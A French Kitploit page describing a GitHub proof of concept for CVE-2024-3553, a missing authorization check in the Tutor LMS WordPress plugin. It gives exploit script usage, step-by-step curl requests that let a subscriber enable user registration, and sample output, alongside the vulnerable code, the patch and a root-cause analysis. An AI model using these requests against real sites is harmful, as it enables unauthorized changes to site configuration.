Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-3553 — CVE-2024-3553 : Tutor LMS <= 2.6.2 - Vulnérabilité d'autorisation manquante permettant à des attaquants authentifiés d'activer l'inscription des utilisateurs | Kitploit
Outils/GitHubGitHub/randomrobbiebf/cve-2024-3553
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubrandomrobbiebf/cve-2024-3553

CVE-2024-3553

CVE-2024-3553 : Tutor LMS <= 2.6.2 - Vulnérabilité d'autorisation manquante permettant à des attaquants authentifiés d'activer l'inscription des utilisateurs

Voir le dépôt
13il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-3553

Tutor LMS <= 2.6.2 - Absence d'autorisation menant à une mise à jour limitée des options par un utilisateur non authentifié

Le plugin Tutor LMS – solution eLearning et de cours en ligne pour WordPress est vulnérable à une modification non autorisée des données en raison d'une vérification de capacité manquante sur la fonction hide_notices() dans toutes les versions jusqu'à la 2.6.2 incluse. Cela permet à des attaquants authentifiés (y compris des utilisateurs à faibles privilèges comme les abonnés) d'activer l'inscription des utilisateurs sur des sites où elle a été désactivée par les administrateurs.

Details

  • Type : plugin
  • Slug : tutor
  • Version affectée : 2.6.2
  • Score CVSS : 6.5
  • Évaluation CVSS : Moyen
  • Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
  • CVE : CVE-2024-3553
  • Statut : Actif

POC

Exploitation automatisée

Un exploit Python complet est disponible : exploit-cve-2024-3553-v2.py

# Exploitation automatisée complète
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# Vérification du statut d'inscription uniquement
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

Exploitation manuelle

Prérequis :

  • N'importe quel compte authentifié (abonné, contributeur, etc.)
  • Plugin Tutor LMS installé et activé

Étape 1 : Connexion en tant qu'utilisateur à faibles privilèges

# Connexion en tant qu'abonné ou tout utilisateur authentifié
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

Étape 2 : Extraction du nonce depuis la zone d'administration

# Tout utilisateur authentifié peut accéder à /wp-admin/ (même les abonnés)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

Étape 3 : Exécution de l'exploit

# Envoi de la requête pour activer l'inscription des utilisateurs
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

Étape 4 : Vérification du succès

# Vérifier si l'inscription est maintenant activée
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registration ENABLED" || echo "Registration DISABLED"

Exploitation en une ligne

# En tant qu'utilisateur authentifié, visitez simplement :
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

Exemple de sortie

======================================================================
CVE-2024-3553 Exploit - Tutor LMS Absence d'autorisation
Cible : https://target.com
======================================================================

[*] Vérification du statut actuel de l'inscription...
[+] L'inscription est actuellement DÉSACTIVÉE

[*] Tentative de connexion en tant que : abonné
[+] Connexion réussie en tant que : abonné

[*] Étape 2 : Extraction du nonce depuis la zone d'administration...
[+] Nonce trouvé : abc123def456

[*] Étape 3 : Exécution de l'exploit pour activer l'inscription des utilisateurs...
[*] Cible : https://target.com
[*] Utilisation du nonce : abc123def456
[*] URL de l'exploit : https://target.com/wp-admin/index.php
[*] Paramètres : {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Statut de la réponse : 200
[+] Requête d'exploit envoyée avec succès !

[*] Étape 4 : Vérification du succès de l'exploitation...
[+] L'inscription est actuellement ACTIVÉE

======================================================================
[!] EXPLOITATION RÉUSSIE !
[!] L'inscription des utilisateurs est maintenant ACTIVÉE
[!]
[!] Impact : Un attaquant avec un compte à faibles privilèges (abonné)
[!] a pu activer l'inscription des utilisateurs sur un site où elle était
[!] désactivée. Cela pourrait permettre la création de comptes supplémentaires,
[!] pouvant potentiellement mener à du spam ou à un accès non autorisé.
======================================================================

Code vulnérable

Fichier : /classes/User.php (Lignes ~800-815)

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // DÉFAUT CRITIQUE : is_admin() vérifie uniquement si on est dans la zone admin, PAS le rôle utilisateur !
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // AUCUNE VÉRIFICATION DE CAPACITÉ - Tout utilisateur authentifié peut exécuter ceci !
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

Points clés de la vulnérabilité :

  1. is_admin() vérifie uniquement que la requête est destinée à une page d'administration, PAS que l'utilisateur est un administrateur
  2. TOUT utilisateur authentifié peut accéder à /wp-admin/ (même les abonnés)
  3. La vérification du nonce valide que la requête est intentionnelle, MAIS PAS que l'utilisateur possède les autorisations appropriées
  4. Manquant : vérification de capacité current_user_can('manage_options')
  5. Cela permet à TOUT utilisateur authentifié de modifier l'option users_can_register

Correctif (v2.7.0)

Fichier : /classes/User.php (Version corrigée)

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // CORRECTIF DE SÉCURITÉ : Vérification de capacité ajoutée
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // Maintenant correctement protégé
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

Le correctif ajoute current_user_can('manage_options') pour vérifier que l'utilisateur possède les privilèges d'administrateur avant d'autoriser la mise à jour de l'option.

Impact

  • Sévérité moyenne : Bien que ne compromettant pas directement le site, cette vulnérabilité permet :
    • Contourner les contrôles administratifs
    • Activer l'inscription des utilisateurs sur des sites durcis/privés
    • Potentiel de création de comptes de spam
    • Contourner les politiques de sécurité du site
    • Modification non autorisée de la configuration du site

Analyse de la cause racine

Erreur de sécurité WordPress courante

Cette vulnérabilité démontre une mécompréhension critique des fonctions d'autorisation de WordPress :

FAUX ❌ :

if ( is_admin() ) {
    // En pensant que cela signifie 'l'utilisateur est un admin'
    update_option( 'sensitive_option', $value );
}

CORRECT ✅ :

if ( current_user_can( 'manage_options' ) ) {
    // Vérifie effectivement si l'utilisateur a des capacités d'admin
    update_option( 'sensitive_option', $value );
}

Comparaison des fonctions

Télécharger l’outil